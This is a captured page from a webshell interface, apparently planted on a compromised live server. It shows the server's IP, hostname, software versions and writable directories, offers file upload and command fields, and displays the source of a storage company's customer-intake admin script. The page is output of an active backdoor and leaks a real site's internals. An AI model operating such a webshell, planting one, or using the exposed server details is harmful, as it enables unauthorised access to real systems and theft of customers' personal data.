403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/innoutstorage/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/innoutstorage/webadmin/warehousing_step1_post.php
<?php
	require_once('check_login.php');

	$customer_info = get_customer();

	//checking data

	$message = "";

	if (!isset($_POST["new_customer"])) {
		$message .= "請選擇新客戶 或 現有客戶。\\n\\n";

		$_POST["new_customer"] = 0;
	}

	if (empty($_POST["identity_id2"])) {
		//$message .= "請輸入證件號碼。\\n\\n";
		$message .= "個人: 請輸入身分證作認證; 商業: 請輸入商業登記證作認證。\\n\\n";
	}

	if (empty($_POST["lastname"])) {
		$message .= "請輸入姓氏。\\n\\n";
	}

	if (empty($_POST["firstname"])) {
		$message .= "請輸入名字。\\n\\n";
	}

	if ($_POST["identity_type"] == "BUSINESS" && empty($_POST["companyname"])) {
		$message .= "請輸入公司名稱。\\n\\n";
	}

	$_POST["email"] = trim($_POST["email"]);
	if (empty($_POST["email"])) {
		//$message .= "請輸入電郵地址。\\n\\n";
	} else {
		if (!filter_var($_POST["email"], FILTER_VALIDATE_EMAIL)) {
			$message .= "請輸入正確的電郵。\\n\\n";
		} else {
			foreach ($customer_info as $customer) {
				if($customer["deleted"] == 1)
					continue;

				$decrypt_email = rsa_crypt($customer["email"], 2);

				//if ( (!empty($decrypt_email) && $decrypt_email == $_POST["email"] && $_POST["new_customer"] == 1 ) || (!empty($decrypt_email) && $decrypt_email == $_POST["email"] && $_POST["new_customer"] == 0 && $_POST["customer_id"] != $customer["id"])) {
				if ( (!empty($decrypt_email) && $decrypt_email == $_POST["email"] && $_POST["new_customer"] == 1 && $_POST["identity_type"] == $customer["identity_type"]) /*|| (!empty($decrypt_email) && $decrypt_email == $_POST["email"] && $_POST["new_customer"] == 0 && $_POST["customer_id"] != $customer["id"] && $_POST["identity_type"] == $customer["typeid"])*/) {
					$message .= "此電郵已登記,請使用另一個電郵。\\n\\n";
					break;
				}
			}
		}
	}

	/*if (empty($_POST["identity_id2"])) {
		$message .= "個人: 請輸入身分證作認證; 商業: 請輸入商業登記證作認證。\\n\\n";
	}*/


	if (empty($_POST["tel"])) {
		$message .= "請輸入電話號碼。\\n\\n";
	} else {
		if (!is_numeric($_POST["tel"])) {
			$message .= "請輸入正確的電話號碼。\\n\\n";
		}else{
			foreach ($customer_info as $customer) {
				if($customer["deleted"] == 1)
					continue;

				$decrypt_tel = rsa_crypt($customer["tel"], 2);

				//if ( (!empty($decrypt_tel) && $decrypt_tel == $_POST["tel"] && $_POST["new_customer"] == 1) || (!empty($decrypt_tel) && $decrypt_tel == $_POST["tel"] && $_POST["new_customer"] == 0 && $_POST["customer_id"] != $customer["id"])) {
				if ( (!empty($decrypt_tel) && $decrypt_tel == $_POST["tel"] && $_POST["new_customer"] == 1 && $_POST["identity_type"] == $customer["identity_type"])  /*||(!empty($decrypt_tel) && $decrypt_tel == $_POST["tel"] && $_POST["new_customer"] == 0 && $_POST["customer_id"] != $customer["id"] && $_POST["identity_type"] == $customer["typeid"])*/) {
					$message .= "此電話已登記,請使用另一個電話。\\n\\n";
					break;
				}
			}
		}
	}

	if (empty($_POST["address"])) {
		$message .= "請輸入聯絡地址。\\n\\n";
	}

	//check if new customer or not
	$identity_id = $_POST["identity_id2"];

	//looping customer info to find if a matched customer exist
	$found = false;
	if (!empty($_POST["identity_id2"])) {
		foreach ($customer_info as $customer) {
			if (!empty($customer)) {

				if($customer["deleted"] == 1)
					continue;
				
				$decrypt_hkid = rsa_crypt($customer["hkid"], 2);
				$decrypt_hkbr = rsa_crypt($customer["hkbr"], 2);

				if ((!empty($decrypt_hkbr) && strpos($decrypt_hkbr, $identity_id) !== false) || (!empty($decrypt_hkid) && strpos($decrypt_hkid, $identity_id) !== false)) {
					$found = true;

					break;
				}
			}
		}
	}


	if(!empty($_POST["identity_id2"]) && $found && $_POST["new_customer"] == 1){
		$message .= "此客戶是現有客戶,請在現在客戶中選取相關客戶。\\n\\n";
	}

	if(!empty($_POST["identity_id2"]) && !$found && $_POST["new_customer"] == 0){
		$message .= "找不到這個現有客戶,請確認是否新客戶。\\n\\n";
	}

	if (!empty($message)) {
		echo "<script>alert('" . $message . "'); history.back();</script>";
		exit;
	}

	//record warehousing order in session
	$_SESSION["warehousing"][1]["new_customer"]  = $_POST["new_customer"];
	$_SESSION["warehousing"][1]["identity_type"] = $_POST["identity_type"];
	$_SESSION["warehousing"][1]["identity_id"]   = $_POST["identity_id2"];
	$_SESSION["warehousing"][1]["title"]         = $_POST["title"];
	$_SESSION["warehousing"][1]["lastname"]      = $_POST["lastname"];
	$_SESSION["warehousing"][1]["firstname"]     = $_POST["firstname"];
	$_SESSION["warehousing"][1]["companyname"]   = $_POST["companyname"];
	$_SESSION["warehousing"][1]["email"]         = $_POST["email"];
	$_SESSION["warehousing"][1]["tel"]           = $_POST["tel"];
	$_SESSION["warehousing"][1]["address"]       = $_POST["address"];
	$_SESSION["warehousing"][1]["pass"]          = true;

	if ($_POST["new_customer"] == 1) {
		$_SESSION["warehousing"][1]["customer_first_order"] = true;

	} else {

		//check if this customer is new customer and first order or not (registered)
		$customer_id = $_POST["customer_id"];
		$_SESSION["warehousing"][1]["customer_id"] = $customer_id;

		$this_customer_info = get_customer($customer_id);
		$_SESSION["warehousing"][1]["customer_code"]          = $this_customer_info["code"];

		//update customer info
		$sql = "update customer set lastupby = ?, lastupdate = ?, typeid = ?, title = ?, firstname = ?, lastname = ?, companyname = ?, address = ? where id = ?";
		$parameters = array(1, $nowdate, $_SESSION["warehousing"][1]["identity_type"], $_SESSION["warehousing"][1]["title"], rsa_crypt($_SESSION["warehousing"][1]["firstname"], 1), rsa_crypt($_SESSION["warehousing"][1]["lastname"], 1), $_SESSION["warehousing"][1]["companyname"], rsa_crypt($_SESSION["warehousing"][1]["address"], 1), $customer_id );
		$result = bind_pdo($sql, $parameters);
		

		$customer_order = customer_first_order($customer_id);

		if (!empty($customer_order)) {
			$_SESSION["warehousing"][1]["customer_first_order"] = false;
		} else {
			$_SESSION["warehousing"][1]["customer_first_order"] = true;
		}
	}

	header("Location: warehousing_step2.php");

	/*if(!empty($customer_id)){
		//$_SESSION["warehousing"][1]["customer_id"] = $customer_id;
		//go to step 2
		header("Location: warehousing_step2.php");
	}else{
		echo "<script>alert('發生錯誤,未能找到有效的客戶編號,請重新嘗試。'); location.href='warehousing_step1.php';</script>";
		exit;
	}*/



Youez - 2016 - github.com/yon3zu
LinuXploit